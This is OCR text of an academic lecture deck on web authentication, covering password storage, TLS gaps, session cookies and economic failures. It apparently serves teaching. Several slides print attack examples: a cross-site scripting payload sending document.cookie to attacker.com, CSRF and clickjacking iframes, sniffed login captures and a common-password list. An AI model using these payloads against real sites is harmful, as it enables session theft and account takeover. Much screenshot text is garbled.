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Talk outline

@ What are we trying to achieve?
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The web was not designed with authentication in mind
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“On the Internet, nobody knows you're a dog.”
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The web was not designed with authentication in mind

GET / HTTP/1.1
Host: www.cl.cam.ac.uk

128.28.2.138 — www.cl.cam.ac.uk

HTTP/1.1 200 OK
Content length: 7661
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0

128.28.2.138 +— www.cl.cam.ac.uk
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Authentication is used for many purposes
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Authentication is used for many purposes

Quantity: |1 ¢

{’@9‘ Add to Cart I

or
(@ Buy now with 1-Click® |

Ship to:
Joseph Bonneau ¢
[J Add gift-wrap/note
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@g Add to Cart with I

Amazon Prime Free Trial
required. Sign up when you
check out. Learn More

Add to Wish List | = |
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Authentication is used for many purposes

[ CURRENT E-MAILS

“You have ne subscriptions for Email newsletiers.

- MY ALERTS +Greate News Alert

You have no alerls, use the "Create News Alert”link above (o create ane.

S MY STOCK ALERTS +Create Stock Alert

You have no alerts, use the "Creats Stock Alert” link above to ereate ane

- COMMENT NOTIFICATIONS

Receive a notification when your commentis posted or replied 1o by an NYTimes reporter. SuBSCRIBE

TODAY'S HEADLINES

TODAY'S HEADLINES SUBSCRIBE

I
Gel general top headines or creale a customized e-mail by selecting from the calegories

+ See Sample
[ Daiy Featured Section ] Etorial
[ Business [ Technology
[ Worid [ NY Region
Cats

Customising online preferences
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Authentication is used for many purposes
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Many requirements for “perfect” authentication

@ Secure
@ Criminals (may know target)
@ Malware
© Rogue servers
O Phishers
@ Low cost
@ Easy for users
@ Cheap for servers
© Easy to implement
@ Widely compatible
© Privacy-enabling
@ Users choose to reveal identity
@ Easy to create new identities
© Malicious sites get no information

Q Legal
@ non-repudiable (sometimes)
@ tracable (sometimes)
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Talk outline

© What's done in practice

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 4/41



Password enrolment

Please register o gain free access to WSJ tools.

Choose a Password, which First Name Last Name
you'll also enter each time you
use this service. Your Email (your ema your login)

password should be 5-13 |
characters in length and |
shouldn't include punctuation,
symbol characters or spaces.

From time o time, we wil send you e-mail announcements on
new features and special offers from The Wall Street Journal

Important: We'll record your

User Name and Password Onine.

EXACTLY as you type them, so REGISTER NOW

make a note if you enter in

upper and lower case. Wiy Registsr? » Privacy Poiicy | Terms & Conditions
Wall Street Journal, 1996 Wall Street Journal, 2010
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Password enrolment

<form method="post" action="user_enrol.cgi">

Create a username:
<input type='"text" name="user"/> <br/>

Choose password:
<input type="password" name="pass"/> <br/>

<input type="submit" name="submit" />

</form>
128.28.2.138 «— http://www.example.com/
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Password enrolment

POST user_enrol.cgi HITP/1.1
Host: www.example.com
Content-Type: application/
x-www-form-urlencoded
Content-Length: 30

user=jcb82&pass=qwerty
128.28.2.138 — http://www.example.com/
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Password enrolment

POST user_enrol.cgi HTTP/1.1 ‘
Host: www.example.com

Content-Type: application/

x-www-form-urlencoded

Content-Length: 30

user=jcb82&pass=qwerty
128.28.2.138 — https://www.example.com/
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Password storage

USER PASS
jcb82 qwerty
rjald  d5bf"_)*x(&()"$
mgk25  i_love_fourier
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Password storage

USER PASS_HASH
jcb82 13e874694bc9
rjald  ddd87e9f571a
mgk25 5b72fbad97e14

PASS_HASH; = SHA-256(password;)
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Password storage

USER PASS_HASH
jcb82 13e874694bc9
rjald  ddd87e9f571a
mgk25 5b72fbad97e14
hk331 13e874694bc9

PASS_HASH; = SHA-256(password;)

J. Bonneau (U. of Cambridge)
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Password storage

USER SALTED_HASH SALT
jcb82 cfea9edfelObd... Ocb9...
rjald  9883078e2953... 1£f13...
mgk25  a6b02cedl43e... Dbl68...
hk331  5dbe4e858597... 3b73...

salt; = random|0 : 64]

SALTED_HASH; = SHA-256(password;||salt;)

J. Bonneau (U. of Cambridge)
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POST login.php HTTP/1.1 ‘
Host: www.example.com

Content-Type: application/

x-www-form-urlencoded

Content-Length: 34

name=jcb82&pass=qwerty
128.28.2.138 — https://www.example.com
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[
HTTP/1.1 302 Moved Temporarily ‘
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: wuser_id=821183;
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=fOeb6albdff...
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Content-Length: O

128.28.2.138 <— https://www.example.com
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GET /main.html HTTP/1.1

Host: www.example.com

Cookie: user_id=821183; auth=fOeb6albdff...
128.28.2.138 — http://www.example.com
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POST logout.php HTTP/1.1
Host: www.example.com
Content-Type: application/
x-www-form-urlencoded
Content-Length: O
128.28.2.138 — www.example.com
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HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=0; path=/;
Set-Cookie: auth=0 path=/;
Content-Length: O

128.28.2.138 +— www.example.com
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Update

Change my password

Change your password. Follow the instructions below.

Fields marked with * are mandatory

© Enter password

Password rules:

Password must contain at least 7 characters

Password must contain at least 1 digit

Password must contain at least 1 letter

Password must not be the same as username

Password can not have 3 of the same consecutive characters, nor 4 of the same characters
throughout.

*0ld password

Please enter old Passwor
*Password *Re-enter password

©) save my new password

ebruary 22, 2012




Recovery

Request a new password
If you have forgotten your password you can order a new one here.

Fields marked with * are mandatory,

*Username (e-mail address)

lease enter Username sswor

) How do you want to receive your new password?

® *Send out new password via email

@) validation image

~ Al

T—F MK

A
vr

Un

Enter the characters you see in the image into the field below.
If you can "t see all the letters, just change the image by clicking here

© Get new password

U. of Cambridge)

ebruary 22, 2012




Recovery

Hi jbonneau,

Someone requested that your Last.fm password be
reset. If this wasn’t you, there’s nothing to
worry about - simply ignore this email and nothing
will change.

If you DID ask to reset the password on your
Last.fm account, just click here to make it happen:
http://www.last.fm/?id=<userid>
&key=<authentication-token>

Best Regards,
The Last.fm Team
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Talk outline

© What goes wrong
@ Technical failures (false authentication)
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Plaintext passwords sent over SMTP

Dear Joseph Bonneau,

You requested us to send you your EasyChair login
information. Please use the following data to log in to
EasyChair:

User name: jbonneau
Password: querty

Best regards,
EasyChair Messenger.

Password recovery, EasyChair

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 12/41



Insecure at-rest storage of passwords

Change Your Password (optional)

A Password must be at least 6 characters or longer, and may not include blank spaces, or the characters:
<>" (A good example of a password: RUGT_7).

New Password: I Please note passwords are case sensitive.

Confirm Password: I

29-50% of sites store passwords in the clear
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Insecure at-rest storage of passwords

guardian.co.uk Searc

News Sport| Comment Culture | Business Money| Life & style Travel Environment |*

Technology blog

TECHNOLOGY Tt

Previus Blog home Next

32.6m passwords may have been
compromised in RockYou hack

RockYou, w ts popular with MySpace and
Facebook u ed and 32.6m users are being
urged to ch

rockyou

=
Y
T

[a]=]<]=] 2]
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of the Rock

RockYou SQL injection hack
January 2010
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Incomplete TLS deployment

Please enter a new password
L3
Email: facebook@ucam.preibusch.net

New Password: N

Confirm Password:

a Keep me logged in Forgot your password?

Sign Up
It's free and anyone can join

Password

= Do not use the same password that you use for other online accounts.
= Your new password must be at least 6 characters in length.

* Use a combination of letters, numbers, and punctuation. First Name:
= Passwords are case-sensitive. Remember to check your CAPS lock key. Last Name:
Your Email:

Old Password:
New Password: New Password:
' Tam: Select Sex: v
Bighday: Month: v Day: * Year: v
Why do I need to provide this?
[Sian up

Confirm Password:
quired

of Cambridge) User authentical ebruary 22, 201



Incomplete TLS deployment

File Edit View Go Capture Analyze Statistics Telephony Iools Help

E e & B R ¢

k|
®
R®
@
b
®

Filter: [http ~ || Expression... | Clear | Apply
No.. Time Destination Protocol _ nfo q
2873 31.274287 #o: E NOTIFY = HTTP/L.1
2980 33.922855 #e; SSOP NOTIFY * HTTP/L.1
2981 33.927676 #e; SSOP NOTIFY * HTTP/L.1
2984 34.092683 #e; SSOP NOTIFY * HTTP/L.1
2985 34.172621 9e, SSOP  NOTIFY * HTTP/L.1
2986 34.174739 fedo: sase:4d21:erc: ffo2:ic SSOP NOTIFY * HTTP/L.1
2988 34.274411 feao: :ase9 17c -

047 36287828

TP HTTP/1.0 200 OK (text/htal)
4748 36480871

4750 36.491315 TP HTTP/1.1200 0K _(text/javascript)
5271 36.687754 HTTP  GET /w/d :BannerL nL H
6666 53.707430 WP GET. . J

b Transmission Control Protocol, Src Port: 39245 (39245), Dst Port: http (80), Seq: 823, Ack: 1, Len: 101 o
b [Reassembled TCP Segnents (923 bytes): #3371(822), #3372(101)]
= Hypertext Transfer Protocol

b POST /w/index.

Host: en.wikipedia.org\r\n

on: keep-alive\r\n
+ http://en.wikipedia.org/w/index. php?title=special :UserLoginreturnto=Hain _Page\r\n
Length: 101\r\n
Cache-Control: nax-age=e\r\n
http://en.wikipedia.org\r\n
Type: application/x-wa-form-urlencoded\r\n
Accept: application/xnl,application/xhtnlsxnl, text/htnl;g=0.9.
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-Us) Applevebx
Accept-Encoding: gzip,deflate,sdch\rin
Accept-Language: en-US,en;q=0.8\r\n
Accept-Charset: 150-8859-1,utf-8;4=0.7,%;0=0.3\r\n
Cookie: emwiki_ 19; enwifgi Jbonneau\r\n

Loginsacti i in_Page HTTP/1.1\r\n

text/plain;q=0.8, inage/png, */*
/534,12 (KHTHL, like Gecko) Ubuntu/9.10 Chromiun/9.0.576.0 Chrone/9.9.576.0 Safari/s34.12\r\n

<~ Line-based text data: application/x-ww-forn-urlencoded
v

30 62 6% 66 66 36 36 6T 31 35 38 39 39 62 61 b5 35 baTT6GAl
310 38 31 38 38 31 66 32 31 39 3b 20 65 6 77 69 6b 81881721
€320 69 55 73 65 72 4e 61 6065 3d 4a 62 67 be 6e 65  iUserNam

32 38 33 33 35 62 3834 66 6]]

Frame (167 bytes) Reassembled TCP (923 bytes)

@ Textitem (), 101 bytes Packets: 9604 Displayed: 29 Marked: 0 Profile: Default

Password sniffing

) ebruary 22, 2012 14/ 41



Incomplete TLS deployment

<form method="post"
action="https://www.example.com/user_login.cgi">

Username:
<input type="text" name="user" /> <br />

Password:
<input type="password" name="pass" /> <br />

<input type='"submit" name="submit" />

</form>

Post-only TLS deployment

J. Bonneau (U. of Cambridge) February 22, 2012 14/ 41



Incomplete TLS deployment

TLS Deployment I C Tot.
Full 0.07 0.26 0.07 0.39
Full/POST 0.02 0.01 0.01 0.03
Inconsistent 0.09 0.04 0.03 0.17
None 0.15 0.03 0.23 0.41
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Cookie theft post-TLS

file Edit View Go Capture Analyze Stistics Telephony Tools Help

8 & e LB ea &

Filter [hep ~ |[Expression.. clear [Apply.

No. | Time Source . Destination Protocol _ Info

/w/inde
TP HTTP/1.0 362 Hoved Temporarily

HITP  GET /skins-1.5/common/shared. css7283-12 HTTP/1.1
HITP  GET /skins-1.5/onmon/ConmonPrint. css7283-12 HTTP/1.1
HITP  HTTP/1.1 304 Not Modified
HITP  WTTP/1.1 304 Mot Modified

HITP  GET /w/ind 111
VTP GET /ekineer-o/manabook;metnscesrataeia WETP 1t
1807 3.381588 128.232.8.168 91.198.174.233 TP GET /skins-1.5/chick/main.css7283-12 HTTP/1.1

Frane 415 (217 bytes on wire, 217 bytes captured)

2b:fb), Dst: ALL-HSRP-routers 01 (60:09:0c:07:ac:01)
Internet Protocol, Src: 128.232.8.168 (128.232.8.168), Dst: 91.198.174.232 (91.198.174.232)
Transmission Control Protocol, Src Port: 44432 (44432), Dst Port: http (88), Seq: 885, Ack: 1, Len: 151
[Reassenbled TCP Seguents (1035 bytes): #414(884), #415(151)]
Hypertext Transfer Protocol
b POST /w/index. php Loginsacti in_Page HTTP/1.1\r\n
Host: en.wikipedia.org\r\n
Connection: keep-alive\rin
http://en.wikipedia.org/w/index. php?title=special :UserLoginsaction=subnitlogin
t-Length: 151\r\n
Cache-Control: max-age=o\r\n
origin: http://en.wikipedia.org\r\n
Content-Type: application/x-wau-forn-urlencoded\rin
Accept: application/xnl, Jtext/htnl;q=0.9, lain;q=0.8, inage/png, */*;q=0.5\r\
User-Agent: Mozilla/s.0 (XLL; U; Linux 1685; en-US) AppleWebKit/534.12 iUk Gocher Uponto/S.10 ChromLum/9.0.576.0 Chrone/s..576.0 Safard/s3. 12\n
Accept-Encoding: gzip, defl
Accept-Language: en-US,en;q=0.8\r\n
5

Tvvvee

pe=logingreturnto=Hain_Page\r\n

u; _envikiLoggedOu

52
63

68 hewphiane =Jbonnea
75 6f 72 uSwpPass word=im
o dbinndbs. wpLogina

Frame (217 bytes) | Resssembled TCP (1033 bytes)|
O HTTP Cookie (ntp.cookic), 114 bytes - Packets: 5995 Displayed: 74 Marked: 0 Dropped: 154

Wireshark

)

HTTP/1.1

Profile: Default



Cookie theft post-TLS

Firesheep

Stop Capturing

Mike Mcallen
Facebook
Mike Mcallen
Facebook

Google
mmeallen
Twitter

Alice, or perhaps Bob
Windows Live

warr Wlters

B racenook
Aic, o pachaps 8o
Windows Live

meetingspodcast@gmail.col

jale

Mike Mcallen
Edit My Profile

[ News Feed

& Messages

40, Friends

1] Technology Lovin..
£] Create Group.
See Al

Game Requests

More -

of Cambridge)

=] News Feed Top News - Most Recent

What's on your mind?

Movember USA Our profile pic is today’s Mo Photo of the Day. Want
to be featured? Email your best Mo photo to: photos@movember.com,
and you may be chosen!

22 &2 - Comment

5 minutes ago

Like - Share

David Spark Compilation video | shot at Staffing World 2010.

Recruiters at Staffing World Reveal Favorite Practices

it bunreds of ecrers o, Safting Word 2010
was packed with 5o
possble racrier Die vuked s ng World atcendees to
share their best practices in recruiting.

[l 7 minutes ago - Comment - Like - Share

Steve Miller: hey, thanks...i'

Melissa Kane i'm now addicted to
)

boggle
9 minutes ago - Comment - Like - See Wall-to-Wall

Marianne Mattson Paloncy Hahahahalll Can you say Dena Lohan?
Ll hiio:/ theclicker.todayshow.com/_news/2010/10/28/5366476-pat
I delivers_drank bout-dancing-the-hill

CNMBFY Tho Clickor - Datridne's mam delivars drunkan rant ahait Mancina©

Firesheep

User authenticatio

Account +

Events See All
What are you planning?
People You May Know See All

=== paron McDougall
)& & mutual friends
A, 5 acd as friend

Dennis Hamilton
Lauren Sanderson s a mutual
friend

25, Add as friend

Sponsored Create an Ad

Booming Business Tips

{OPEN]

Booming is leaming

Jonathan Fleming and Andrew Quayle like
‘American Express OPEN.

o Like
Requests See Al
3 Page suggestions

You have 1 games and application
request. In order to view it, click on

Games or Applications in the menu on
e left )

Vo e 100




Cookie stealing via cross-site scripting

N NN TN i.-: http: / /dynam

spn.ge.com/espn/bugsiurl=httpk3As fespn.go.com/ college-football/

A SR
I I FevortABug

Thank you for helping us make ESPN the best Internet sports
site in the world.

For technical support. feedback, bug reports or guestions about
ESPN, Insider or Fantasy logins, please use the form below. For
questions about your Insider or Fantasy account, please call
1-888-545-ESPN.

Your submission will reference:
http://espn.go.com/college-football/

Please describe the bug:

Submit Report

U. of Cambridge) i ebruary 22, 2012
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Cookie stealing via cross-site scripting

Your submission will reference:<br/>
http:www.espn.com/college-football

http://dynamic.espn.go.com/bugs?
url=http:www.espn.com/college-football

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012



Cookie stealing via cross-site scripting

Your submission will reference:<br/>
<script>

document.location =
"http://www.attacker.com/cookie-log.cgi?"
+ document.cookie

</script>

http://dynamic.espn.go.com/bugs?
url=%3Cscript%3E%0Adocument.location
+%3D%0A%22http%3A//www.attacker.com/cookie-
l0g.cQi%3F%22%0A%2B+document.cookie%0A%3C/script%3E
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SID UID Other data

3943412586 rjal4d
3943412587 mgk25
3943412588 jcb82

@ Predictable session identifiers

Fu et al., 2001

J. Bonneau (U. of Cambridge) February 22, 2012 17/ 41



SID UID Other data

2010-11-15T12:06:43 rjal4d
2010-11-15T12:07:38 mgk25
2010-11-15T12:08:11 jcb82

@ Predictable session identifiers

Fu et al., 2001
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SID UID Other data

H(2010-11-15T12:06:43) rjald
H(2010-11-15T12:07:38) mgk25
H(2010-11-15T12:08:11) jcb82

@ Predictable session identifiers

Fu et al., 2001
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COOKIE; = if|crypt(i|| Kgaily)

@ Predictable session identifiers
@ Misuse of cryptography

Fu et al., 2001

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17/41



COOKIE; = if|crypt(i|| Kgaily)

COOKIEjponneau = jbonneau7c19t550a7750b614
COOKIEjponneaut = jbonneau17c19f550a775b614

@ Predictable session identifiers
@ Misuse of cryptography

Fu et al., 2001

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17/41



COOKIE; = i||crypt(/||Kgaily)

COOKIEjponnea = jbonneac6ceb34c403d1f6d
COOKIEjponnean = joonneaNc6ceb34c403d1fed

COOKIE; = j938c00d2f12c73a4
COOKIEjnov201999 = jNov201999938c00d2f12c73a4

@ Predictable session identifiers
@ Misuse of cryptography

Fu et al., 2001

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17/41



COOKIE; = [|t|[MACK(i[

@ Predictable session identifiers
@ Misuse of cryptography
@ Improper field delimitation

Fu et al., 2001

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17/41



COOKIE; = [|t|[MACK(i[| )

COOK|Eij82(1 -Dec-201 0)

jcb821-Dec-20105¢cab7512f4db8fd18254adce9b8ef438

COOKI chb8(21 -Dec-201 O)

@ Predictable session identifiers
@ Misuse of cryptography
@ Improper field delimitation

Fu et al., 2001
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Cross-site request forgery

<iframe name="csrf"

width="0" height="0" frameborder="0"
src="http://bank.example.com/transfer?
4amount=1000000&to=attacker">
</iframe>

J. Bonneau (U. of Cambridge) February 22, 2012 18/ 41



Cross-site request forgery

<iframe name="csrf"

width="0" height="0" frameborder="0"
src="http://twitter.com/share/update?
status=i%20got%20pwned" >

</iframe>

J. Bonneau (U. of Cambridge) February 22, 2012 18/ 41



Clickjacking

Request for Permission

FarmVille is requesting permission to do the following:

Access my basic information — i ]

- er, IFARM|

ith iLLE

. B Farmville

7 Access my profile information +* % %
W Birthday and Current City
By proceading, you agree to the FarmVille Terms of Service and Privacy Policy - Report Application
Logged in as (Not You?) m Leave Application

http://www.facebook.com/connect/uiserver.php?app_id=102452128776

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 19/41



Clickjacking

<iframe name="csrf"

width="0" height="0" frameborder="0"
src="http://www.facebook.com/connect/
uiserver.php?app_i1d=102452128776"

style="opacity: 0; filter: alpha(opacity=0);
position: absolute;top: -170px;left: -418px;">
</iframe>

<img src="clickjacking_bait.jpg">

J. Bonneau (U. of Cambridge) February 22, 2012 19/ 41



Clickjacking

Want 2 G
Something
Hot?

Click da’butten, baby!

\.
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Clickjacking

—
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Talk outline

© What goes wrong

@ User interface failures
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No trusted path between users and browser

(a) Hand tracking analysis. Rectangles identify regions in movement. Black rectangles are used for
movements in the hands regions, grey rectangles for keys. white rectangles for regions where both hand
and key movement happens. These rectangles identify likely key pressings.

(b) Key pressing analysis. Using occlusion-based techniques, the analysis determines keys that are not
pressed, which are represented by the dark polygons.

Balzarotti et al. 2008

J. Bonneau (U. of Cambridge) User authentication February 22, 201



No trusted path between users and browser

Hardware keylogger, US$36
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No trusted path between users and browser

SC-Keylog PRO - Current logfile of local host

ECY IEEICES
[ = (100120560 B Sonda- Gomrek G you v o g ok gy *
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St 021004205720 & Sancra- Gesprek. milpickyou up
T 7] Mouse everts Q210082057225 & Sandea- Gesprek seeyoulceat ight = -+ Operaing System
0 Systom varts 02100420:57:% B Sancha- Gesprek bylocecere, 4R Platfom: Windows XP Profec
0210082057144 T Sancra- Gesarek -> St Messenger ok emeLicn 8 05 buldrumber: 2600
B Processes 021004 20:57:49 [ Process started CiProgram Fiestinternet Explorerliexpkore.exe 1R Revidor: Senvice Pack 2
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Fon 02:100420:5905 @ Warmig - MerosoRt ket Explrer Vet 2000, comcentcan. e ol
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Feias [ 021004205317 [ Process ended SR ———— Nt
2100205918 | Lserlogol User soft_cental g off from doman WINZ - EINC2
aoeh 02-10-04 20:59:18. ﬁ Log ended 8 Groups and
021006 20:59:46 8 System shatdoun B Administators (3)
021004 21:0057 [ Process staned CAWINDOWStayatem2\ilogen.ex @ Beckup Operstors ()
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Software keylogger, US$49.50
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No trusted path between users and browser

@ Reported Web Forgery! - Mozilla Firefox =l8)
Ele Edit View History Bookmarks Iools Help
» C £ (B nttp//www.mozilla.com/firefox/ts-

2 Most Visited |_| Getting Started 5, Latest Headlines
) Reported Web Forgery!

Reported Web Forgery!

This web site at www.mozilla.com has been reported as a web forgery and has
been blocked based on your security preferences.

Web forgeries are designed to trick you ino revealing personal or financial

information by imitating sources you may trust.

Entering any information on this web page may resultin identity theft or other fraud.

Wy was tisic blocked?

Done

Phishing (Firefox)

User authen



Talk outline

© What goes wrong

© Human memory failures
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Brute-force attacks

123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michae

J. Bonneau (U. of Cambridge)
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Brute-force attacks

The following errors were encountered
B You afe only permitted to make four login attempts every 1 minute(s)

Return to Previous Page

Rate limiting (Truthdig)
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Brute-force attacks

Sign In

Too many tries!

If you forgot your password, you can get help
finding it, or you can open a new account.

Forced reset (Cafe Press)
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Brute-force attacks

Log in

Don't have an account? Create one.
To help protect against automated password cracking, please enter the words that appear below in the box (more info):

sidngovwried

Username: \test |

Password: | |
[0 Remember me (up to 30 days)

| Login || E-mail new password |

CAPTCHA restrictions (Wikipedia)

February 22, 2012 23/ 41
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Brute-force attacks

countermeasure \ I C Tot.
CAPTCHA 0.07 0.01 0.01 0.09
timeout 0.01 0.01 0.01 0.03
reset 0.01 0.02 0.01 0.03

none 0.25 0.29 0.31 0.84
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Brute-force attacks

limit | | C Tot.

3 0.02 0.00 0.00 0.02
4 0.01 0.01 0.00 o0.01
5 0.02 0.01 0.03 0.06
6 0.01 0.01 0.00 0.03
7 0.01 0.00 0.00 o0.01
10 | 0.01 0.00 0.00 o0.01
15 | 0.01 0.00 0.00 o0.01
20 | 0.00 0.01 0.00 o0.01
25 | 0.01 0.00 0.00 o0.01
>100 | 0.25 0.29 0.31 0.84
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Brute-force attacks

—  Yahoo! [2011]
Battlefield Heroes [2011] | |
Gawker [2010]

RockYou [2009]

marginal work i, (bits)

or e o Morris [79] I
e o Klein [90]
l?).(J l)‘.2 l).‘-’l [).‘(1' [).‘8 1.0

success rate a
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Personal knowledge questions

What is your oldest sibling's middle hame?

|Roscoe]

| Continue I cancel
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Personal knowledge questions

@ Web search
e Used against Sarah Palin in 2008
@ Public records
o Griffith et. al: 30% of individual’'s mother’'s maiden names
@ Social engineering
@ Dumpster diving, burglary
@ Acquaintance attacks
e Schecter et. al: ~ 25% of questions guessed by friends, family
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Personal knowledge questions

@ 70% of answers are proper names (Just et al. 2008)
25% surname

10% forename

15% pet name

20% place name

@ Most others are trivially insecure

@ What is my favourite colour?
@ What is the worst day of the week?
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Personal knowledge questions

40 T T T T
35F 4
o
300 °© 1
2 Forename
5 ° Ceem= - ---  Surname
4 P - - Password [RockYou]
20 Phe T .
= ° N - IR ® e Password [Klein]
< Phe o B
g ° - e g e e Password [Spafford]
5150 e PR . .
Eling - e 0 & Password [Schneier]
s B - ’
/ - B
W0 T
1.
st |
0 . . . .
3].[) 0.2 0.4 0.6 0.8 1.0

success rate a

Personal knowledge worse than passwords (Bonneau et al. 2010)
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Talk outline

© What goes wrong

@ Economic failures
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Systemic trends in web authentication

collecting passwords

Proportion of sites

0 100 200 300 100 500
Traffic rank

@ All sites collect passwords

J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 26 /41



Systemic trends in web authentication

[ Contirm vour Emai Addec:

€ > C| fi| ¢ hup:/ wwwlinkedin.com)reg/confirm-prompt >

Linked ([

ull@madgex.co.uk. Click on the
ount.

@ All sites collect passwords
@ All sites utilise email infrastructure

e Naming
e Liveness checks
e Password recovery
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Economic models

@ Password over-collection is a tragedy of the commons
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Economic models

@ Password over-collection is a tragedy of the commons
@ Password insecurity is a negative externality
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Consequences

0 100 200 300 400

500
Traffic rank

@ Users overwhelmed by password burden
e Average person has > 25 accounts (Fl6érencio et al., 2007)

J. Bonneau (U. of Cambridge)
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Consequences
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@ Users overwhelmed by password burden
@ Average person has > 25 accounts (Flérencio et al., 2007)
@ Users forced to re-use passwords across security contexts

J. Bonneau (U. of Cambridge)

User authentication on the web

February 22, 2012



equences

Twitter accounts compromised in torrent site scam

Angela Moscaritolo

PRINT EMAIL [REPRINT [ PERN

IS FONT SIZE: A]A| A

Twitter this week reset the passwords of some of its users after

discovering malicious file-sharing sites that were set up to steal users'

login credentials

During regular monitoring of its user base for suspicious activity,
Twitter noticed a sudden surge in followers for several accounts within
the last five days, Del Harvey, Twitter's director of trust and safety
wrote ina blog post Tuesday. After investigating the issue, Twitter
discovered that some of the accounts following the suspicious users
were compromised by an attacker who stole login credentials from
rogue file-sharing "torrent” sites

For several years, an individual had been setting up torrent sites, as
well as forums for torrent site usage, Harvey said. This individual sold
these supposedly well-crafted sites and forums to others who wanted

to start their own torrent download sites.

» Tweet| 0 B
RELATED ARTICLES
Twitter

Twitter attribLtes outage to DNS

SSL bug used on Twitter
Spears Twitter hack
New Twitter worm strikes

Twitter among web apps affe ctedt

chers laud Twitter alerts
s
Koobface hits Twitter

RELATED LINKS
Twitter

@ Users overwhelmed by password burden

e Average person has > 25 accounts (Fl6érencio et al., 2007)
@ Users forced to re-use passwords across security contexts
@ Cross-site password compromise increasing

28/ 41
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Consequences

no i erecas o 2000.11

|

2 2008 2010
3 Usars in 8 12 16 25 3 48 72 100
é Revenve $0. S0, $400000.  $4000000. $8000000. $17000000. $53000000.  $62000000.
; Total Yearly 54400000, §140000000.
IEU People 30 45 ) 7 120 197 275 £
Target: 500

12 Puoplocost $1050000, $1575000.  $2100000. | S4780000. $4200000,  S6808000. 9825000, §13076000.
1 Org Costsans  $2030000. $3045000. $4060000.  $6343750. $8661250. $12180000. $18270000.  $25375000.
16 aroes Margin  $43950000. $39330000. $33570000. $26496250. $23415000. $21340000. $46445000.  $70895000.
%é Net Eamings  $28567500. $25564500. $21620500, $18522562.5 $15219750. $13871000. $30189250.  $46146750.

20 Costol 1015
21 Starting Cash 45000000

In Our Inbox: Hundreds Of Confidential
Twitter Documents

oy Michael Arrington on Jul 14, 481 Comments B Lice 11 [EEEY | 82 | 1408

@ Users overwhelmed by password burden
@ Average person has > 25 accounts (Flérencio et al., 2007)
@ Users forced to re-use passwords across security contexts

@ Cross-site password compromise increasing
e Email accounts becoming powerful credentials
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Talk outline

© What goes wrong

@ Technical failures (unintended authentication)
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Implicit identifiers

SRC: 128.232.8.168
DST: 128.232.0.20

@ IP address

J. Bonneau (U. of Cambridge) February 22, 2012 30/ 41



Implicit identifiers

GET / HTTP/1.1

Host: www.cl.cam.ac.uk

User-Agent: Mozilla/5.0 (X11; U; Linux i686;
en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/9.10
(karmic) Firefox/3.6.12

Accept: text/html, application/xhtml+xml,
application/xml; g=0.9,%/*

Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,%*;

@ IP address
@ HTTP headers

J. Bonneau (U. of Cambridge) February 22, 2012 30/ 41



Implicit identifiers

GET / HTTP/1.1

Host: www.cl.cam.ac.uk

Referer: http://www.bing.com/search?
g=what%27s+the+best+university

© IP address
@ HTTP headers
© HTTP referer
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Implicit identifiers

GET / HTTP/1.1

Host: www.cl.cam.ac.uk

Referer: http://www.facebook.com/profile.php?
1d=1511359465

© IP address
@ HTTP headers
© HTTP referer
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Implicit identifiers

//detect screen resolution
x = screen.width; y = screen.height;

//detect plugins
q = navigator.mimeTypes["video/quicktime"];
j = navigator.javaEnabled();

//detect time zone
tz = (new Date()).getTimezoneOffset();

@ IP address

© HTTP headers

© HTTP referer

© Javascript runtime (also Flash, Java, Silverlight ...)
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Implicit identifiers

Panepticlick

© IP address

© HTTP headers

© HTTP referer

© Javascript runtime (also Flash, Java, Silverlight ...)
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Implicit identifiers

# Send users to my detector...

<iframe name="detector"

width="0" height="0" frameborder="0"
src="https://docs.google.com/document/d/
1TUV9x11FAQcVWvhP4EAHQZIPrVmo3_vrz5Sz8Wo'">
</iframe>

Narayanan 2009

@ IP address

© HTTP headers

© HTTP referer

© Javascript runtime (also Flash, Java, Silverlight ...)
© Cross-site de-anonymisation
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Implicit identifiers

Google docs 830ab83 & anyone v the Saved | [@Share |+
File Edit View Inset Fomat Tools Table Help | jbonneauisviewing 4]
o v Nommaltext - aval <t~ B oz u A Ebemnsa

Narayanan 2009

© IP address

© HTTP headers

© HTTP referer

© Javascript runtime (also Flash, Java, Silverlight ...)
© Cross-site de-anonymisation
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Implicit identifiers

<img id="test" style="display:none'">

<script>

test = document.getElementById(’test’);
var start = new Date();

test.onerror = function()

{ time = new Date() - start;}

test.src = ‘““"http://www.example.com/’’;
</script>

° IP address Bortz et al. 2007
© HTTP headers

© HTTP referer

© Javascript runtime (also Flash, Java, Silverlight ...)

© Cross-site de-anonymisation
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Talk outline

© Can we do better?
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Password alternatives

Mitigates: Guessing attacks, phishing?, malware
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Password alternatives

Edit Settings

General || Security || EquivalentDomains || Newer URLs || VubiKeys || Google Authenticator || Mobile Devices || Trusted Computers || URL Rules

LastPass. can be configured to work with Google Authenticator. Google Authenticator is & secure, easy to use, two-factor authentication application for your mobile device
that is immune from replay-attacks, man-in-the-middie attacks, and a host of other threat vectors.

Google Authenticator makes LastPass more secure and easier to use.

To install the Google Authenticator application on your mobile device, visit GOOGLE AUTHENTICATOR!

To assodiate Google Authenticator with your account, scan the barcode below with your Google Authenticator application.

Click here if youire unable to scan the barcode (for example If you're using the BlackBerry applcation, or a device without a camera).
Google Authenticator Authentication Enabled E Help
Permi Offline Access Allow  [~]  Hep

Click here to regenerate your Google Authenticator key (for example if you lost your Google Authenticator device).

[Update] [Cancel|

’ Mitigates: Guessing attacks, malware?
